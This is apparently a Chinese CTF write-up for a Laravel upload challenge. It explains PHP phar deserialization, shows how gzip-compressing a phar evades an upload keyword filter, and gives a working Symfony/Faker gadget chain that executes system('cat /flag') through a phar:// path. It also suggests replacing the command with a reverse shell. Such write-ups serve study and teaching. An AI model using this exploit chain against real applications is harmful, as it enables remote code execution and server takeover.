1NDEX
- 0x00 前言
- seebug复习一下phar在php反序列化中的利用
- phar文件结构
- local_test
- 0x01 brain.md
- little trick压缩phar绕过关键词
0x00 前言
seebug复习一下phar在php反序列化中的利用
参考https://paper.seebug.org/680/
写的太好了… 直接粘了
phar文件会以序列化的形式存储用户自定义的meta-data这一特性拓展了php反序列化的攻击面
phar文件结构
- stub
类似标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件 - manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
- content
被压缩文件的内容 - [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾,格式如下:
php底层
php-src/ext/phar/phar.c
local_test
php.ini中的phar.readonly选项设置为Off
php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
(不全)
phar文件内容 确实序列化存储了meta-data
因为识别phar文件是通过标志xxx<?php xxx; __HALT_COMPILER();?>
所以在前面我们可任意添加
可以在setstub时添加文件头来进行伪装
eg:
<?phpclass TestObject {public function __destruct(){echo "have been unserialized";}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();// phar生成// 调用系统函数phar伪协议解析 触发反序列化$filename = 'phar://phar.phar/test.txt';file_get_contents($filename);
?>
0x01 brain.md
一个上传点
给了源码
看一下路由
贴一下indexcontroller
<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class IndexController extends Controller
{public function fileUpload(Request $req){$allowed_extension = "png";$extension = $req->file('file')->clientExtension();if($extension === $allowed_extension && $req->file('file')->getSize() < 204800){$content = $req->file('file')->get();if (preg_match("/<\?|php|HALT\_COMPILER/i", $content )){$error = 'Don\'t do that, please';return back()->withErrors($error);}else {$fileName = \md5(time()) . '.png';$path = $req->file('file')->storePubliclyAs('uploads', $fileName);echo "path: $path";return back()->with('success', 'File has been uploaded.')->with('file', $path);}} else{$error = 'Don\'t do that, please';return back()->withErrors($error);}}
}
ban掉了较多关键字
preg_match("/<\?|php|HALT\_COMPILER/i", $content )
little trick压缩phar绕过关键词
convertToExecutable
test
<?phpclass TestObject {public function __destruct(){echo "have been unserialized",PHP_EOL;}}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();// phar生成?>
面目全非了
跟到ImageController
<?phpnamespace App\Http\Controllers;use Illuminate\Http\Request;class ImageController extends Controller
{public function handle(Request $request){$source = $request->input('image');if(empty($source)){return view('image');}$temp = explode(".", $source);$extension = end($temp);if ($extension !== 'png') {$error = 'Don\'t do that, pvlease';return back()->withErrors($error);} else {$image_name = md5(time()) . '.png';$dst_img = '/var/www/html/' . $image_name;$percent = 1;(new imgcompress($source, $percent))->compressImg($dst_img);return back()->with('image_name', $image_name);}}
}
前面的很常规,到后面看到 imgcompress 引起注意
讲真这里的getimagesize函数也可利用是真没想到
localtest一下确实可行
然后找利用链
写的很nice
https://xz.aliyun.com/t/9318
稍微提炼一点trick
链子入口点一般都是__destruct方法,且该方法拥有形如 $this->[可控]->xxx()
eg:
parent可控
下一步寻找合适类带有__call方法
并且 __call方法最好可以调用用户自定义的函数
全局过一下
ValidGenerator瞩目
public function __call($name, $arguments){$i = 0;do {$res = call_user_func_array([$this->generator, $name], $arguments);$i++;if ($i > $this->maxRetries) {throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));}} while (!call_user_func($this->validator, $res));return $res;}
两种思路
1.call_user_func_array中rce,但name已经是addCollection了
$this->generator类中name方法参数arguments
再去寻找__call方法就陷入了死循环
2.call_user_func($this->validator, $res)中rce,validator可控,下面控制$res即可,最好能让$res = call_user_func_array([$this->generator, $name], $arguments);
返回我们想要的值
发现defaultgenerator类中default完全可控
那么call_user_func($this->validator, $res)完全可控了
ok写链
<?php
namespace Symfony\Component\Routing\Loader\Configurator{class ImportConfigurator{private $parent;function __construct($a){$this->parent=$a;$this->route='test';}}
}
namespace Faker{class ValidGenerator{protected $generator;protected $validator;protected $maxRetries;function __construct($a,$func){$this->generator=$a;$this->validator=$func;$this->maxRetries=1;}}class DefaultGenerator{protected $default;function __construct($default){$this->default=$default;}}
}namespace{
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use Faker\ValidGenerator;
use Faker\DefaultGenerator;
$o=new ImportConfigurator(new ValidGenerator(new DefaultGenerator("cat /flag"),'system'));
@unlink('phar.phar');
$phar=new Phar('phar.phar');
$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($o);
$phar->addFromString('test.txt','test');
$phar->stopBuffering();
}
?>
当然rce处最好改成反弹shell回来
改名为phar.png上传
注意 /image只接受get请求
/image?image=phar://…/storage/app/uploads/xxx.png
done
PS:直接写马会写在/var/www/html目录下 而不是public目录下